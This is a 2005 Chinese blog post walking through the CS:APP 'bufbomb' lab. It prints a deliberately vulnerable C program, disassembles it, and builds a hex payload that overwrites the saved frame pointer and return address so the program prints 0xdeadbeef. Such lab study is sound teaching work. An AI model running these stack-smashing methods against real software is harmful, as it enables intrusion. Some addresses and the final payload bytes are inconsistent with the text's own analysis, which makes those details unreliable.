您的位置:首页 > 其它

缓冲区溢出攻击实验

2005-04-27 19:50 155 查看
本文的实验来源于《Computer Systems A Programmer's Perspective》(深入理解计算机系统》一书中第三章的一个实验。
作者给出了一个含有缓冲区溢出的程序bufbomb.c,你需要做的,就是注入给缓冲区些特殊的数据,到底利用缓冲区的目的。
//bufbomb.c
/* Bomb program that is solved using a buffer overflow attack */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even = 1; /* Have read even number of digits */
int otherd = 0; /* Other hex digit of pair */
char *sp = dest;
while ((c = getchar()) != EOF && c != '/n') {
if (isxdigit(c)) {
int val;
if ('0' <= c && c <= '9')
val = c - '0';
else if ('A' <= c && c <= 'F')
val = c - 'A' + 10;
else
val = c - 'a' + 10;
if (even) {
otherd = val;
even = 0;
} else {
*sp++ = otherd * 16 + val;
even = 1;
}
}
}
*sp++ = '/0';
return dest;
}

/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}

void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x/n", val);
}
/* $end getbuf-c */

int main()
{

int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) & 0xFFF);
int *space = (int *) alloca(offset);
*space = 0; /* So that don't get complaint of unused variable */
test();
return 0;
}
函数getxs的功能类似于库函数gets的功能,除了它是以十六进制数字对的编码方式读入的字符。例如,要读入字符串“0123”,你得给出输入字符串“30 31 32 33”,这个函数会忽略空格。
分析这个程序,可以得知,正常情况下,这个函数会在getbuf中,调入getxs函数读入数字对,然后不管任何情况下,都会对test函数返回0x1,然后由test中的printf函数打印处getbuf的返回值。
现在你的任务,就是,利用缓冲区溢出的漏洞,输入些特殊的数字,使得屏幕中打印的是0xdeadbeef。
首先,你得知道,哪个地方存在缓冲区溢出的漏洞。看看getxs,就可用知道这个函数存在此漏洞。因为,在getbuf中,定义了字符串buf有12个字节的空间,然后,调入getxs函数,并且把buf的起始地址传递给getxs函数。现在分析getxs函数,可以看到这句while ((c=getchar())!= EOF && c!='/n'),很明显,稍微有点C语言基础的人,都可以看出,判定输入结束的标志是EOF或是回车,下面问题就出来了,buf限定的是12个字节,而getxs却不检查是否越界,这就引出了个严重的问题,缓冲区溢出!合理利用这点,可以达到某些需要的功能。
由于缓冲区的溢出,非常依赖于机器和编译器,因此运行在不同版本的机器或编译器中,需要注入的特定的字符也不一样。
下面是偶分析这个程序所用的工具和环境:
DEBIAN+GCC:这个不用说了,用的是linux的系统,gcc的编译器
GDB:一个调试工具,非常非常强大,可惜,偶用的不是很熟
OBJDUMP:也不怎么会用,似乎有些强大,偶也仅仅用它的反汇编功能。
因为要分析它的二进制的代码,因此需要知道它的汇编生成情况,可以用gcc -S -o bufbomb bufbomb.c来产生这个文件的汇编文件,也可以gcc -o bufbomb bufbomb.c 生成可执行文件,然后objdump -d bufbomb来反汇编。
以上,分析出处缓冲区的漏洞主要存在于getxs中,而调用它的函数是getbuf函数,因此先分析这个函数。
080484e7 <getbuf>:
80484e7: 55 push %ebp
80484e8: 89 e5 mov %esp,%ebp
80484ea: 83 ec 28 sub $0x28,%esp;开辟0x28字节的局部空间
80484ed: 8d 45 e8 lea 0xffffffe8(%ebp),%eax;%ebp-24是buf的地址处,因此,实际上给buf开辟了24字节的空间。
80484f0: 89 04 24 mov %eax,(%esp)
80484f3: e8 1c ff ff ff call 8048414 <getxs>
80484f8: b8 01 00 00 00 mov $0x1,%eax
80484fd: c9 leave
80484fe: c3 ret
现在分析这个函数的堆栈情况(从上到下,地址递减)

返回地址 (ebp+4)
保存的ebp (ebp)
buf的空间 24字节

很明显,如果改动了buf[24]~buf[27]处,在leave的时候,ebp,就会是你在buf[24]~buf[27]处存放的数据了。改动buf[28]~buf[31]处,就改动了返回地址的函数。
根据实验要求,要求打印处0xdeadbeef数字,然后分析调用getbuf的函数test。
080484ff <test>:
80484ff: 55 push %ebp
8048500: 89 e5 mov %esp,%ebp
8048502: 83 ec 18 sub $0x18,%esp
8048505: c7 04 24 94 86 04 08 movl $0x8048694,(%esp)
804850c: e8 1b fe ff ff call 804832c <_init+0x48>
8048511: e8 d1 ff ff ff call 80484e7 <getbuf>
8048516: 89 45 fc mov %eax,0xfffffffc(%ebp)
8048519: 8b 45 fc mov 0xfffffffc(%ebp),%eax
804851c: 89 44 24 04 mov %eax,0x4(%esp)
8048520: c7 04 24 a5 86 04 08 movl $0x80486a5,(%esp);0x80486a5 是打印格式字符处的地址处
8048527: e8 00 fe ff ff call 804832c <_init+0x48>
804852c: c9 leave
804852d: c3 ret
在80486a5处调用的函数,可以分析出,实际上就是printf函数,那么,明显可知,前面两个mov进堆栈的数据,就是printf的参数,分析可得,0x80486a4,是打印格式字符串的地址。0x4(%esp)处,就是需要打印的数据了,也就是getbuf的返回值0x1了。这两个参数,都需要压入堆栈。
实际中,getbuf的ret指令,返回到8048516出,然后把getbuf的返回值进入堆栈的。那么,可以考虑,能不能提前在实际的堆栈中,放入printf的参数,然后直接返回到printf的指令处呢?实际证明,这是可以的。这样子,就可以达到目的了!
需要仔细分析的是如何这样做。
回到getbuf函数,已经分析出buf[24]~buf[27]放的是ebp,也就是在leave的时候,通过popl指令弹出的,这个,通常不改动它的,因为,参数,通常,都是基于它的偏移定位的,否则,容易出错,因此,用gdb跟踪到test中的getbuf的下一个语句,实际上,就是call 80484e7 <getbuf>下面就可以了,然后查看ebp的值是0xbfffefe8,因此,要给buf[24]~buf[27]注入的数据,必须是0xbfffefe8,然后查看返回地址,也就是printf的地址,是8048527,因此,给buf[28]~buf[31]注入数据0x8048527。嘿嘿。
这样,在getbuf中,执行ret指令的时候,直接返回到8048527处了。ret执行的动作是popl到eip中,在调用printf的时候,参数,又是压入堆栈中,因此,buf[28]~buf[31]处,存放打印格式字符串的地址0x8048527(由printf前面的参数进栈的指令得到的),然后就是叫需要打印的数据进入堆栈,也就是buf[32]~buf[35]处了。
嘿嘿,这样分析后,需要注入的数字非常明显了。
前24个数字也就是buf[0]~buf[23],随便注入,因为这没有什么用,然后就是非常关键的了,顺序注入ebp,返回地址,格式字符串的地址,和欲打印的值就可以了。
也就是(30)24个 e8 ef ff bf 27 85 04 08 a5 86 04 08 ef be ad ed

转载请注明blog.csdn.net/besich
作者:BSCH
QQ:3178488(请注明)
EMAIL:bsch1983@163.com
时间:2005.4.27
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: